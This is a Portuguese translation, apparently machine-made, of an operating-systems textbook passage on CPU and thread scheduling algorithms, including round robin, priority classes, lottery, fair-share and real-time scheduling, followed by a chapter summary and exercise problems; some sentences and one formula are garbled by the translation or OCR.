Para melhorar a eficiência da CPU, poderíamos definir o quantum para, digamos, 100 ms. 
Agora o tempo perdido é de apenas 1%. Mas considere o que acontece em um sistema de 
servidor se 50 solicitações chegarem em um intervalo de tempo muito curto e com requisitos de 
CPU muito variados. Cinquenta processos serão colocados na lista de processos executáveis. 
Se a CPU estiver ociosa, a primeira iniciará imediatamente, a segunda poderá não iniciar até 
100 ms depois e assim por diante. O último azarado pode ter que esperar 5 segundos antes de 
ter uma chance, assumindo que todos os outros usem todos os seus quanta. A maioria dos 
usuários considerará uma resposta de 5 segundos a um comando curto lenta. Esta situação é especialmente 
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ruim se algumas das solicitações próximas ao final da fila exigirem apenas alguns milissegundos de tempo 
de CPU. Com um quantum curto, eles teriam obtido um serviço melhor. 

Outro fator é que se o quantum for definido por mais tempo do que o burst médio da CPU, 
a preempção não acontecerá com muita frequência. Em vez disso, a maioria dos processos executará um 
bloqueando a operação antes que o quantum acabe, causando uma mudança de processo. Eliminar a 
preempção melhora o desempenho porque as mudanças de processo acontecem 
apenas quando são logicamente necessários, ou seja, quando um processo é bloqueado e não pode 
continuar. 

A conclusão pode ser formulada da seguinte forma: definir o quantum muito curto 
causa muitas alternâncias de processo e diminui a eficiência da CPU, mas configurá-lo também 
longo pode causar resposta deficiente a solicitações interativas curtas. Um quantum ao redor 
20-50 mseg costuma ser um compromisso razoável. 


Agendamento Prioritário 


O escalonamento round-robin faz a suposição implícita de que todos os processos são 
igualmente importante. Frequentemente, as pessoas que possuem e operam computadores multiusuários 
têm ideias bastante diferentes sobre esse assunto. Numa universidade, por exemplo, o 
hierarquia pode ser o presidente primeiro, depois os reitores do corpo docente, depois os professores, 
secretárias, zeladores e, finalmente, estudantes. A necessidade de levar em conta fatores externos leva à 
programação prioritária. A ideia básica é simples: cada processo recebe uma prioridade e o processo 
executável com a prioridade mais alta é 
permitido correr. 

Mesmo em um PC com um único proprietário, pode haver vários processos, alguns deles 
eles mais importantes que outros. Por exemplo, um processo daemon que envia correio eletrônico em 
segundo plano deve receber uma prioridade mais baixa do que um processo 
exibindo um filme de vídeo na tela em tempo real. 

Para evitar que processos de alta prioridade sejam executados indefinidamente, o escalonador 
pode diminuir a prioridade do processo atualmente em execução a cada tique do relógio (ou seja, 
a cada interrupção do clock). Se esta ação fizer com que sua prioridade caia abaixo daquela do 
próximo processo mais alto, ocorre uma troca de processo. Alternativamente, cada processo pode ser 
atribuído um quantum de tempo máximo que pode ser executado. Quando esse quantum é 
esgotado, o próximo processo de maior prioridade terá a chance de ser executado. Depois de um processo 
foi punido por tempo suficiente, sua prioridade precisa ser aumentada por algum algoritmo, 
para deixá-lo funcionar novamente. Caso contrário, todos os processos terminarão em 0. 

As prioridades podem ser atribuídas aos processos de forma estática ou dinâmica. Em um militar 
computador, os processos iniciados por generais podem começar na prioridade 100, processos 
iniciado por coronéis aos 90, majores aos 80, capitães aos 70, tenentes aos 60 e assim por diante 
abaixo do totem. Alternativamente, em um data center comercial, trabalhos de alta prioridade 
pode custar US$ 100 por hora, prioridade média US$ 75 por hora e prioridade baixa US$ 50 por hora. 
hora. O sistema UNIX possui um comando, nice, que permite ao usuário voluntariamente 
reduzir a prioridade do seu processo, para ser gentil com os demais usuários. Não é de surpreender que 
ninguém nunca o use. 
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As prioridades também podem ser atribuídas dinamicamente pelo sistema para atingir 
determinados objetivos do sistema. Por exemplo, alguns processos são altamente vinculados à E/ 
S e passam a maior parte do tempo aguardando a conclusão da E/S. Sempre que tal processo 
desejar a CPU, ele deverá receber a CPU imediatamente, para deixá-la iniciar sua próxima 
solicitação de E/S, que poderá então prosseguir em paralelo com outro processo que esteja 
realmente computando. Fazer com que o processo vinculado a E/S espere muito tempo pela CPU 
significará apenas mantê-lo ocupando memória por um tempo desnecessariamente longo. Um 
algoritmo simples para prestar um bom serviço a processos vinculados a E/S é definir a prioridade 
como 1/ f, onde fé a fração do último quantum que um processo utilizou. Um processo que usasse 
apenas 1 ms de seu quantum de 50 ms teria prioridade 50, enquanto um processo que executasse 
25 ms antes do bloqueio teria prioridade 2, e um processo que usasse todo o quantum teria 
prioridade 1. 

Muitas vezes é conveniente agrupar processos em classes prioritárias e usar escalonamento 
prioritário entre as classes, mas escalonamento round-robin dentro de cada classe. A Figura 2-44 
mostra um sistema com quatro classes de prioridade. O algoritmo de escalonamento é o seguinte: 
desde que existam processos executáveis na classe de prioridade 4, basta executar cada um deles 
para um quantum, no estilo round-robin, e nunca se preocupar com classes de prioridade mais baixa. 
Se a classe de prioridade 4 estiver vazia, execute os processos da classe 3 round robin. Se as classes 4 
e 3 estiverem vazias, execute o round robin da classe 2 e assim por diante. Se as prioridades não forem 
ajustadas ocasionalmente, as classes de prioridade mais baixa poderão morrer de fome. 


E Processos executáveis 
Cabeçalhos de fila 


Figura 2-44. Um algoritmo de escalonamento com quatro classes de prioridade. 


(Prioridade máxima) 


(Prioridade mais baixa) 


Várias filas 


Um dos primeiros escalonadores de prioridade foi o CTSS, o MIT Compatível TimeSharing 
System que rodava no IBM 7094 (Corbato” et al., 1962). O CTSS tinha o problema de a troca de 
processos ser lenta porque o 7094 só conseguia armazenar um processo na memória. Cada 
mudança significava trocar o processo atual para o disco e ler um novo do disco. Os projetistas do 
CTSS rapidamente perceberam que era mais eficiente fornecer aos processos vinculados à CPU 
um grande quantum de vez em quando, em vez de fornecer-lhes pequenos quanta frequentemente 
(para reduzir a troca). Por outro lado, dar a todos os processos um grande quantum significaria um 
tempo de resposta fraco, pois 
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já vi. A solução deles foi criar classes prioritárias. Processos no 
a classe mais alta foi executada por um quantum. Os processos na próxima classe mais alta foram 
correr por dois quanta. Os processos no próximo foram executados por quatro quanta, etc. Sempre que 
um processo consumia todos os quanta alocados a ele, ele era movido para uma classe abaixo. 
Assim, os processos da classe mais alta seriam executados com mais frequência e com alta 
prioridade, mas por um tempo mais curto — ideal para processos interativos. 

Como exemplo, considere um processo que precisava computar continuamente para 
100 quantos. Inicialmente receberia um quantum e depois seria trocado. Próxima vez 
receberia dois quanta antes de ser trocado. Em execuções sucessivas, ele obteria 
4,8, 16, 32 e 64 quanta, embora tivesse usado apenas 37 dos 64 finais 
quanta para completar seu trabalho. Seriam necessárias apenas 7 trocas (incluindo a inicial 
load) em vez de 100 com um algoritmo round-robin puro. Além disso, à medida que o processo se 
afundasse cada vez mais nas filas de prioridade, ele seria executado cada vez menos. 
frequentemente, economizando a CPU para processos curtos e interativos. 

A seguinte política foi adotada para evitar punir para sempre um processo que 
precisava ser executado por um longo tempo quando foi iniciado, mas tornou-se interativo mais tarde. 
Sempre que um retorno de carro (tecla Enter) era digitado em um terminal, o processo 
pertencente a esse terminal foi transferido para a classe de maior prioridade, na suposição de que estava 
prestes a se tornar interativo. Um belo dia, algum usuário com uma forte 
O processo vinculado à CPU descobriu que apenas sentar no terminal e digitar carro 
retornos aleatórios a cada poucos segundos fizeram maravilhas em seu tempo de resposta. Ele contou tudo 
amigos dele. Eles contaram a todos os seus amigos. Moral da história: acertar na prática é muito mais 
difícil do que acertar em princípio. 


Próximo processo mais curto 


Porque o trabalho mais curto primeiro sempre produz o tempo médio de resposta mínimo 
para sistemas em lote, seria bom se pudesse ser usado para processos interativos como 
bem. Até certo ponto, pode ser. Os processos interativos geralmente seguem o padrão de esperar por 
comando, executar comando, esperar por comando, executar comando, etc. Se considerarmos a execução 
de cada comando como um “trabalho” separado, então 
podemos minimizar o tempo de resposta geral executando o mais curto primeiro. O problema é descobrir 
qual dos processos atualmente executáveis é o mais curto. 

Uma abordagem é fazer estimativas com base no comportamento passado e executar o processo 
com o menor tempo de execução estimado. Suponha que o tempo estimado por comando para algum 
processo seja TO. Agora suponha que sua próxima execução seja medida como T1. Nós 
poderíamos atualizar nossa estimativa tomando uma soma ponderada desses dois números, ou seja, 
aTO + (1a)T1. Através da escolha de a podemos decidir ter a estimativa 
processo esqueça execuções antigas rapidamente ou lembre-se delas por um longo tempo. Com a = 1/2, 
obtemos estimativas sucessivas de 


TO, TO/2 + T1/2, TO/4 + T1/4 + T2/2, T0/8 + T1/8 + T2/4 + T3/2 


Após três novas execuções, o peso de TO na nova estimativa caiu para 1/8. 
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A técnica de estimar o próximo valor de uma série tomando a média ponderada do valor 
medido atual e da estimativa anterior é às vezes chamada de envelhecimento. É aplicável a muitas 
situações onde uma previsão deve ser feita com base em valores anteriores. O envelhecimento é 
especialmente fácil de implementar quando a = 1/2. Tudo o que é necessário é adicionar o novo 
valor à estimativa atual e dividir a soma por 2 (deslocando-o 1 bit para a direita). 


Agendamento Garantido 


Uma abordagem completamente diferente para agendamento é fazer promessas reais aos 
usuários sobre desempenho e então cumprir essas promessas. Uma promessa que é realista e 
fácil de cumprir é esta: se n usuários estiverem logados enquanto você estiver trabalhando, você 
receberá cerca de 1/n da potência da CPU. Da mesma forma, em um sistema de usuário único 
com n processos em execução, sendo todas as coisas iguais, cada um deve obter 1/n dos ciclos 
da CPU. Isso parece bastante justo. 

Para cumprir esta promessa, o sistema deve acompanhar a quantidade de CPU que cada 
processo teve desde a sua criação. Em seguida, calcula a quantidade de CPU a que cada um tem 
direito, ou seja, o tempo desde a criação dividido por n. Como a quantidade de tempo de CPU que 
cada processo realmente teve também é conhecida, é bastante simples calcular a proporção entre 
o tempo real de CPU consumido e o tempo de CPU autorizado. Um rácio de 0,5 significa que um 
processo teve apenas metade do que deveria ter, e um rácio de 2,0 significa que um processo teve 
o dobro daquilo a que tinha direito. O algoritmo consiste então em executar o processo com o 
índice mais baixo até que seu índice ultrapasse o de seu concorrente mais próximo. Então aquele 
é escolhido para ser executado em seguida. 

Uma variante desse regime de escalonamento é usada no algoritmo CFS (Completely Fair 
Scheduling) do Linux, que monitora o “tempo de execução gasto” para processos em uma árvore 
vermelho-preta eficiente. O nó mais à esquerda da árvore corresponde ao processo com menor 
tempo de execução gasto. O escalonador indexa a árvore por tempo de execução e seleciona o nó 
do modo esquerdo para execução. Quando o processo para de ser executado (seja porque esgotou 
seu intervalo de tempo ou porque foi bloqueado ou interrompido), o escalonador o reinsere na 
árvore com base no novo tempo de execução gasto. 


Agendamento de loteria 


Embora fazer promessas aos usuários e depois cumpri-las seja uma boa ideia, é difícil de 
implementar. No entanto, outro algoritmo pode ser usado para fornecer resultados igualmente 
previsíveis com uma implementação muito mais simples. É chamado de agendamento de loteria 
(Waldspurger e Weihl, 1994). 

A ideia básica é dar aos processos bilhetes de loteria para diversos recursos do sistema, como 
tempo de CPU. Sempre que uma decisão de agendamento precisa ser tomada, um bilhete de 
loteria é escolhido aleatoriamente e o processo que contém esse bilhete obtém o recurso. Quando 
aplicado ao agendamento da CPU, o sistema pode realizar uma loteria 50 vezes por segundo, com 
cada vencedor recebendo 20 ms de tempo de CPU como prêmio. 
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Parafraseando George Orwell: “Todos os processos são iguais, mas alguns processos são mais 
iguais”. Processos mais importantes podem receber ingressos extras, para aumentar suas chances de 
vitória. Se houver 100 bilhetes pendentes e um processo contiver 20 deles, terá 20% de chance de 
ganhar cada loteria. No longo prazo, obterá cerca de 20% da CPU. Em contraste com um escalonador 
de prioridade, onde é muito difícil afirmar o que realmente significa ter uma prioridade de 40, aqui a regra 
é clara: um processo que contém uma fração f dos tickets obterá cerca de uma fração f do recurso em 
questão. 


A programação da loteria tem várias propriedades interessantes. Por exemplo, se surgir um novo 
processo e lhe forem concedidos alguns bilhetes, já no próximo sorteio ele terá uma chance de ganhar 
proporcionalmente ao número de bilhetes que possuir. Em outras palavras, o agendamento da loteria é 
altamente responsivo. 

Os processos cooperantes poderão trocar bilhetes se assim o desejarem. Por exemplo, quando um 
processo cliente envia uma mensagem para um processo servidor e depois bloqueia, ele pode entregar 
todos os seus tickets ao servidor, para aumentar a chance de o servidor ser executado em seguida. 
Quando o servidor termina, ele retorna os tickets para que o cliente possa rodar novamente. Na verdade, 
na ausência de clientes, os servidores não precisam de nenhum ticket. 

O agendamento da loteria pode ser usado para resolver problemas que são difíceis de resolver 
com outros métodos. Um exemplo é um servidor de vídeo no qual vários processos alimentam fluxos de 
vídeo para seus clientes, mas em taxas de quadros diferentes. Suponha que os processos precisem de 
quadros de 10, 20 e 25 quadros/seg. Ao alocar 10, 20 e 25 tickets para esses processos, respectivamente, 
eles dividirão automaticamente a CPU aproximadamente na proporção correta, ou seja, 10:20:25. 


Agendamento de compartilhamento justo 


Até agora assumimos que cada processo é agendado por si só, independentemente de quem é o 
seu proprietário. Como resultado, se o usuário 1 iniciar nove processos e o usuário 2 iniciar um processo, 
com round robin ou prioridades iguais, o usuário 1 obterá 90% da CPU e o usuário 2 apenas 10%. 


Para evitar esta situação, alguns sistemas levam em consideração qual usuário possui um processo 
antes de escaloná-lo. Neste modelo, cada usuário recebe uma fração da CPU e o escalonador escolhe 
os processos de forma a aplicá-los. Assim, se foi prometido a dois usuários 50% da CPU, cada um deles 
receberá isso, não importa quantos processos existam. 


Como exemplo, considere um sistema com dois usuários, a cada um dos quais foi prometido 50% 
da CPU. O usuário 1 tem quatro processos, A, B, Ce D, e o usuário 2 tem apenas um processo, E. Se 
o escalonamento round-robin for usado, uma sequência de escalonamento possível que atenda a todas 
as restrições é esta: 


AEBECEDEAEBECEDE 


Por outro lado, se o usuário 1 tiver direito ao dobro do tempo de CPU que o usuário 2, poderemos obter: 
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ABECDEABECDE 


É claro que existem inúmeras outras possibilidades que podem ser exploradas, dependendo de 
qual seja a noção de justiça. 


2.5.4 Programação em Sistemas de Tempo Real Um 


sistema de tempo real é aquele em que o tempo desempenha um papel essencial. 
Normalmente, um ou mais dispositivos físicos externos ao computador geram estímulos, e o 
computador deve reagir adequadamente a eles dentro de um período fixo de tempo. Por exemplo, 
o computador em um reprodutor de CD recebe os bits à medida que eles saem da unidade e deve 
convertê-los em música dentro de um intervalo de tempo muito curto. Se o cálculo demorar muito, 
a música soará peculiar. Outros sistemas em tempo real são o monitoramento de pacientes em 
uma unidade de terapia intensiva de um hospital, o piloto automático em uma aeronave e o 
controle de robôs em uma fábrica automatizada. Em todos esses casos, ter a resposta certa, 
mas tê-la tarde demais, costuma ser tão ruim quanto não tê-la. 

Os sistemas de tempo real são geralmente categorizados como tempo real difícil, o que 
significa que há prazos absolutos que devem ser cumpridos — ou então! — e tempo real suave, o 
que significa que perder um prazo ocasional é indesejável, mas mesmo assim tolerável. Em 
ambos os casos, o comportamento em tempo real é obtido dividindo o programa em vários 
processos, cada um dos quais com comportamento previsível e conhecido antecipadamente. 
Esses processos geralmente têm vida curta e podem ser concluídos em menos de um segundo. 
Quando um evento externo é detectado, é função do agendador agendar os processos de forma 
que todos os prazos sejam cumpridos. 

Os eventos aos quais um sistema em tempo real pode ter que responder podem ser ainda 
categorizados como periódicos (o que significa que ocorrem em intervalos regulares) ou 
aperiódicos (o que significa que ocorrem de forma imprevisível). Um sistema pode ter que 
responder a múltiplos fluxos de eventos periódicos. Dependendo de quanto tempo cada evento 
requer para processamento, lidar com todos eles pode nem ser possível. Por exemplo, se houver 
m eventos periódicos e o evento i ocorrer com o período Pi e exigir Ci segundos de tempo de 
CPU para lidar com cada evento, então a carga poderá ser tratada apenas se 


eu ci 
eu=1 Pi 


1 


Um sistema de tempo real que atenda a este critério é denominado programável. Isso significa 
que pode realmente ser implementado. Um processo que não atende a esse teste não pode ser 
agendado porque a quantidade total de tempo de CPU que os processos desejam coletivamente 
é maior do que a CPU pode fornecer. 

Como exemplo, considere um sistema suave em tempo real com três eventos periódicos, 
com períodos de 100, 200 e 500 ms, respectivamente. Se esses eventos exigirem 50, 30 e 100 
ms de tempo de CPU por evento, respectivamente, o sistema será programável porque 0,5 + 0,15 
+ 0,2 < 1. Se um quarto evento com período de 1 segundo for adicionado , o sistema permanecerá 
programável desde que esse evento não precise de mais de 150 ms de tempo de CPU por 
evento. Implícito neste cálculo está a suposição de que a sobrecarga de troca de contexto é tão 
pequena que pode ser ignorada. 
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Os algoritmos de escalonamento em tempo real podem ser estáticos ou dinâmicos. Os primeiros 
tomam suas decisões de agendamento antes que o sistema comece a funcionar. Estes últimos tomam 
suas decisões de escalonamento em tempo de execução, após o início da execução. A programação 
estática funciona apenas quando há informações perfeitas e antecipadas sobre o trabalho a ser 


realizado e os prazos que devem ser cumpridos. Algoritmos de escalonamento dinâmico não possuem 
essas restrições. 


2.5.5 Política versus Mecanismo 


Até agora, assumimos tacitamente que todos os processos no sistema são longos para usuários 
diferentes e, portanto, estão competindo pela CPU. Embora isso muitas vezes seja verdade, às vezes 
acontece que um processo tem muitos filhos rodando sob seu controle. Por exemplo, um processo 
de sistema de gerenciamento de banco de dados pode ter muitos filhos. Cada filho pode estar 
trabalhando em uma solicitação diferente ou cada um pode ter alguma função específica para 
executar (análise de consulta, acesso ao disco, etc.). É perfeitamente possível que o processo 
principal tenha uma excelente ideia de quais de seus filhos são os mais importantes (ou críticos em 
termos de tempo) e quais são os menos importantes. Infelizmente, nenhum dos escalonadores 
discutidos anteriormente aceita qualquer entrada dos processos do usuário sobre decisões de 
escalonamento. Como resultado, o escalonador raramente faz a melhor escolha. 

A solução para este problema é separar o mecanismo de escalonamento da política de 
escalonamento, um princípio estabelecido há muito tempo (Levin et al., 1975). O que isto significa é 
que o algoritmo de escalonamento é parametrizado de alguma forma, mas os parâmetros podem ser 
preenchidos pelos processos do usuário. Consideremos o exemplo do banco de dados mais uma 
vez. Suponha que o kernel use um algoritmo de escalonamento de prioridades, mas forneça uma 
chamada de sistema pela qual um processo possa definir (e alterar) as prioridades de seus filhos. 
Dessa forma, o pai pode controlar como seus filhos são agendados, mesmo que ele próprio não faça 
o agendamento. Aqui o mecanismo está no kernel, mas a política é definida por um processo do 
usuário. A separação política-mecanismo é uma ideia chave. 


2.5.6 Agendamento de Threads 


Quando vários processos possuem múltiplos threads, temos dois níveis de paralelismo 
presentes: processos e threads. O escalonamento em tais sistemas difere substancialmente 
dependendo se threads em nível de usuário ou threads em nível de kernel (ou ambos) são suportados. 


Vamos considerar primeiro os threads no nível do usuário. Como o kernel não tem conhecimento 


da existência de threads, ele opera como sempre, escolhendo um processo, digamos, A, e dando a 
A o controle de seu quantum. O agendador de threads dentro de A decide qual thread executar, 
digamos A1. Como não há interrupções de clock para threads de multiprogramas, essa thread pode 
continuar em execução pelo tempo que desejar. Se consumir todo o quantum do processo, o kernel 
selecionará outro processo para executar. 
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Quando o processo A finalmente for executado novamente, o thread A1 continuará a execução. Ele vai 
continue a consumir todo o tempo de A até terminar. No entanto, é anti-social 
comportamento não afetará outros processos. Eles receberão tudo o que o escalonador considerar apropriado, 
não importa o que esteja acontecendo dentro do processo A. 
Agora considere o caso em que as threads de A têm relativamente pouco trabalho a fazer por 
Explosão de CPU, por exemplo, 5 ms de trabalho em um quantum de 50 ms. Consequentemente, 
cada um é executado por um tempo e depois devolve a CPU ao agendador de threads. 
Isso pode levar à sequência A1, A2, A3, A1, A2, A3, A1, A2, AS, A1, antes do 
o kernel muda para o processo B. Essa situação é ilustrada na Figura 2.45(a). 


Processo A Processo B Processo A Processo B 
Ordem em que 


threads executados 


2. Tempo de execução 


sistema 
escolhe um 


fio 


E sS/ LE 
Ne NL 


1. Kernel escolhe um processo 1. Kernel escolhe um thread E 


Possível: A1, A2, A3, A1, A2, A3 Possível: A1, A2, A3, A1, A2, A3 
Não é possível: A1, B1, A2, B2, A3, B3 Também possível: A1, B1, A2, B2, A3, B3 


(a) (b) 


Figura 2-45. (a) Possível escalonamento de threads em nível de usuário com um quantum de 
processo de 50 ms e threads que executam 5 ms por burst de CPU. (b) Possível agendamento 
de threads em nível de kernel com as mesmas características de (a). 


O algoritmo de escalonamento usado pelo sistema de tempo de execução pode ser qualquer um dos 
descrito acima. Na prática, o agendamento round-robin e o agendamento prioritário são 
mais comum. A única restrição é a ausência de um relógio para interromper um thread 
isso já durou muito. Como os threads cooperam, isso geralmente não é um problema. 

Agora considere a situação com threads no nível do kernel. Aqui o kernel escolhe um 
determinado thread a ser executado. Não é necessário levar em conta qual processo o 
thread pertence, mas pode, se quiser. O thread recebe um quantum e é suspenso de forma confiável se 
exceder o quantum. Com um quantum de 50 ms e threads 
nesse bloco após 5 ms, a ordem dos threads por algum período de 30 ms pode ser A1, 

B1, A2, B2, A3, B3, algo que não é possível com estes parâmetros e nível de usuário 
tópicos. Essa situação é parcialmente representada na Figura 2.45(b). 

Uma grande diferença entre threads de nível de usuário e threads de nível de kernel é o 
desempenho. Fazer uma troca de thread com threads no nível do usuário exige um punhado de 
instruções da máquina. Com threads no nível do kernel, é necessária uma troca de contexto completa 
alterando o mapa de memória e invalidando o cache, que é de várias ordens de 
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magnitude mais lenta. Por outro lado, com threads em nível de kernel, ter um bloco de thread na E/S 
não suspende todo o processo como acontece com threads em nível de usuário. 

Como o kernel sabe que mudar de um thread no processo A para um thread no processo B é 
mais caro do que executar um segundo thread no processo A (devido à necessidade de alterar o 
mapa de memória e à deterioração do cache de memória), pode demorar levar essas informações 
em consideração ao tomar uma decisão. Por exemplo, dados dois threads que são igualmente 
importantes, com um deles pertencente ao mesmo processo que um thread que acabou de ser 
bloqueado e outro pertencente a um processo diferente, poderia ser dada preferência ao primeiro. 


Outro fator importante é que threads em nível de usuário podem empregar um escalonador de 
threads específico da aplicação. Considere, por exemplo, o servidor Web da Figura 2.8. 
Suponha que um thread de trabalho tenha acabado de ser bloqueado e o thread do despachante e 
dois threads de trabalho estejam prontos. Quem deve correr em seguida? O sistema de tempo de 
execução, sabendo o que todos os threads fazem, pode facilmente escolher o despachante a ser 
executado em seguida, para que possa iniciar outro trabalhador em execução. Essa estratégia 
maximiza a quantidade de paralelismo em um ambiente onde os trabalhadores frequentemente 
bloqueiam a E/S do disco. Com threads no nível do kernel, o kernel nunca saberia o que cada thread 
fazia (embora pudessem receber prioridades diferentes). Em geral, porém, os escalonadores de 
threads específicos da aplicação podem ajustar uma aplicação melhor do que o kernel. 


2.6 PESQUISA SOBRE PROCESSOS E LINHAS 


No cap. 1, examinamos algumas das pesquisas atuais sobre estrutura de sistemas operacionais. 
Neste e nos capítulos subsequentes, examinaremos pesquisas com foco mais restrito, começando 
pelos processos. Como ficará claro com o tempo, alguns assuntos são muito mais resolvidos do que 
outros. A maior parte da pesquisa tende a ser sobre tópicos novos, e não sobre aqueles que já 
existem há décadas. 

O conceito de processo é um exemplo de algo que está bastante bem estabelecido. 

Quase todo sistema tem alguma noção de processo como um contêiner para agrupar recursos 
relacionados, como espaço de endereço, threads, arquivos abertos, permissões de proteção e assim 
por diante. Sistemas diferentes agrupam de maneira um pouco diferente, mas essas são apenas 
diferenças de engenharia. A ideia básica não é mais muito controversa e há poucas pesquisas novas 
sobre processos. 

Threads são uma ideia mais recente que processos, mas também foram bastante mastigados. 
Ainda assim, artigos ocasionais sobre threads aparecem de vez em quando, por exemplo, sobre 
gerenciamento de threads com reconhecimento de núcleo (Qin et al., 2019) ou sobre quão bem os 
sistemas operacionais modernos como o Linux escalam com muitos threads e muitos núcleos (Boyd- 
Wickizer, 2010). 

Além disso, há muito trabalho tentando provar que as coisas não quebram na presença de 
simultaneidade, por exemplo, em sistemas de arquivos (Chajed et al., 2019; e Zou et al., 2019) e 
outros serviços (Setty et al., 2019). , 2018; e Li et al., 2019). Este é um trabalho importante, pois os 
pesquisadores mostraram que, infelizmente, os bugs de simultaneidade são 
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extremamente comum (Li et al., 2019). Como vimos, o bloqueio não é apenas difícil, mas também caro, 
e os sistemas operacionais adotaram o RCU para evitar o bloqueio total (McKenney et al., 2013). 


Uma área de pesquisa ativa trata do registro e da reprodução da execução de um processo 
(Viennot et al., 2013). A reprodução ajuda os desenvolvedores a rastrear bugs difíceis de encontrar e 
especialistas em segurança para investigar incidentes. 

Falando em segurança, um grande acontecimento em 2018 foi a divulgação de uma série de 
vulnerabilidades de segurança gravíssimas em CPUs modernas. Eles exigiam mudanças em todos os 
lugares: hardware, firmware, sistema operacional e até mesmo aplicativos. Para este capítulo, as 
implicações do agendamento são especialmente relevantes. Por exemplo, o Windows adotou um 
algoritmo de agendamento para evitar que códigos em diferentes domínios de segurança compartilhem 
o mesmo núcleo de processador (Microsoft, 2018). 

O escalonamento (tanto uniprocessador quanto multiprocessador) em geral ainda é um tópico caro 
e caro a alguns pesquisadores. Alguns tópicos pesquisados incluem agendamento em clusters para 
aprendizagem profunda (Xiao et al., 2018), agendamento para microsserviços (Sriraman, 2018) e 
escalonabilidade (Yang et al., 2018). Em suma, processos, threads e agendamento não são tópicos 
importantes para pesquisa como eram antes. A pesquisa passou para tópicos como gerenciamento de 
energia, virtualização, nuvens e segurança. 


2.7 RESUMO 


Para ocultar os efeitos das interrupções, os sistemas operacionais fornecem um modelo conceitual 
que consiste em processos sequenciais executados em paralelo. Os processos podem ser criados e 
finalizados dinamicamente. Cada processo possui seu próprio espaço de endereço. 

Para alguns aplicativos, é útil ter vários threads de controle em um único processo. Esses threads 
são escalonados de forma independente e cada um possui sua própria pilha, mas todos os threads em 
um processo compartilham um espaço de endereço comum. Threads podem ser implementados no 
espaço do usuário ou no kernel. 

Alternativamente, servidores de alto rendimento podem optar por um modelo orientado a eventos. 
Aqui, o servidor opera como uma máquina de estados finitos que responde a eventos e interage com o 
sistema operacional usando chamadas de sistema sem bloqueio. 

Os processos podem sincronizar uns com os outros usando primitivas de sincronização e 
comunicação entre processos, por exemplo, semáforos, monitores ou mensagens. Essas primitivas são 
usadas para garantir que nunca dois processos estejam em suas regiões críticas ao mesmo tempo, uma 
situação que leva ao caos. Um processo pode estar em execução, executável ou bloqueado e pode 
mudar de estado quando ele ou outro processo executa uma das primitivas de comunicação entre 
processos. A comunicação entre threads é semelhante. 


Muitos algoritmos de escalonamento foram estudados. Alguns deles são usados principalmente 
para sistemas em lote, como o agendamento da tarefa mais curta primeiro. Outros são comuns tanto 
em sistemas em lote quanto em sistemas interativos. Esses algoritmos incluem 
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round robin, agendamento prioritário, filas multiníveis, agendamento garantido, agendamento de loteria e agendamento de 
compartilhamento justo. Alguns sistemas fazem uma separação clara entre o mecanismo de escalonamento e a política de 


escalonamento, o que permite aos usuários ter controle do algoritmo de escalonamento. 


PROBLEMAS 


1. Na Figura 2-2, são mostrados três estados do processo. Em teoria, com três estados, poderia haver seis transições, 
duas fora de cada estado. No entanto, apenas quatro transições são mostradas. Há alguma circunstância em que uma 
ou ambas as transições ausentes possam ocorrer? 


2. Suponha que você projetasse uma arquitetura de computador avançada que processasse a comutação de hardware, 
em vez de ter interrupções. De quais informações a CPU precisaria? Descreva como a comutação de processos de 
hardware pode funcionar. 


3. Em todos os computadores atuais, pelo menos parte dos manipuladores de interrupção são escritos em assembly 


linguagem. Por que? 


4. Quando uma interrupção ou chamada de sistema transfere o controle para o sistema operacional, geralmente é usada 
uma área de pilha do kernel separada da pilha do processo interrompido. Por que? 


5. Um sistema de computador possui espaço suficiente para armazenar quatro programas em sua memória principal. 
Esses programas ficam ociosos aguardando E/S metade do tempo. Que fração do tempo da CPU é desperdiçada? 


6. Um computador possui 2 GB de RAM, dos quais o sistema operacional ocupa 256 MB. Os processos têm todos 128 MB 
(para simplificar) e possuem as mesmas características. Se a meta é 99% de utilização da CPU, qual é a espera 
máxima de E/S que pode ser tolerada? 


7. Vários trabalhos podem ser executados em paralelo e terminar mais rapidamente do que se fossem executados sequencialmente. 
Suponha que dois trabalhos, cada um necessitando de 10 minutos de tempo de CPU, sejam iniciados simultaneamente. 
Quanto tempo levará o último para ser concluído se for executado sequencialmente? Quanto tempo se eles funcionarem 
em paralelo? Suponha que 50% de espera de E/S. 


8. Considere um sistema multiprogramado com grau 5 (ou seja, cinco programas na memória ao mesmo tempo). Suponha 


que cada processo gaste 40% do seu tempo aguardando E/S. 
Qual será a utilização da CPU? 


9. Explique como um navegador da Web pode utilizar o conceito de threads para melhorar o desempenho. 


10. Suponha que você esteja tentando baixar um arquivo grande de 2 GB da Internet. O arquivo está disponível em um 
conjunto de servidores espelho, cada um dos quais pode entregar um subconjunto de bytes do arquivo; suponha que 
uma determinada solicitação especifique os bytes iniciais e finais do arquivo. 

Explique como você pode usar threads para melhorar o tempo de download. 


11. No texto foi afirmado que o modelo da Figura 2.10(a) não era adequado para um servidor de arquivos que utilizasse um 
cache na memória. Por que não? Cada processo poderia ter seu próprio cache? 
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12. Na Figura 2-8, um servidor Web multithread é mostrado. Se a única maneira de ler um arquivo for a chamada de sistema 
de leitura de bloqueio normal, você acha que threads em nível de usuário ou threads em nível de kernel estão sendo 
usados para o servidor Web? Por que? 


13. No texto, descrevemos um servidor Web multithread, mostrando por que ele é melhor que um servidor single-thread e 
um servidor de máquina de estado finito. Há alguma circunstância em que um servidor de thread único possa ser 
melhor? Dê um exemplo. 


14. Na Figura 2.11, o conjunto de registradores é listado como um item por thread, e não como um item por processo. 
Por que? Afinal, a máquina possui apenas um conjunto de registros. 


15. Por que um thread desistiria voluntariamente da CPU chamando thread yield? Afinal, como não há interrupção periódica 
do clock, a CPU pode nunca ser recuperada. 


16. Neste problema, você deve comparar a leitura de um arquivo usando um servidor de arquivos de thread único e um 
servidor multithread. São necessários 15 ms para obter uma solicitação de trabalho, despachá-la e fazer o restante 
do processamento necessário, supondo que os dados necessários estejam no cache do bloco. Se uma operação de 
disco for necessária, como acontece em um terço das vezes, serão necessários 75 ms adicionais, durante os quais o 
thread fica suspenso. Quantas solicitações/s o servidor pode manipular se for de thread único? Se for multithread? 


17. Qual é a maior vantagem de implementar threads no espaço do usuário? Qual é a maior desvantagem? 


18. Na Figura 2.14, as criações de threads e as mensagens impressas pelos threads são intercaladas aleatoriamente. 
Existe uma maneira de forçar o pedido a ser estritamente criado pelo thread 1, o thread 1 imprime a mensagem, o 
thread 1 sai, o thread 2 é criado, o thread 2 imprime a mensagem, o thread 2 existe e assim por diante? Se sim, 
como? Se não, por que não? 


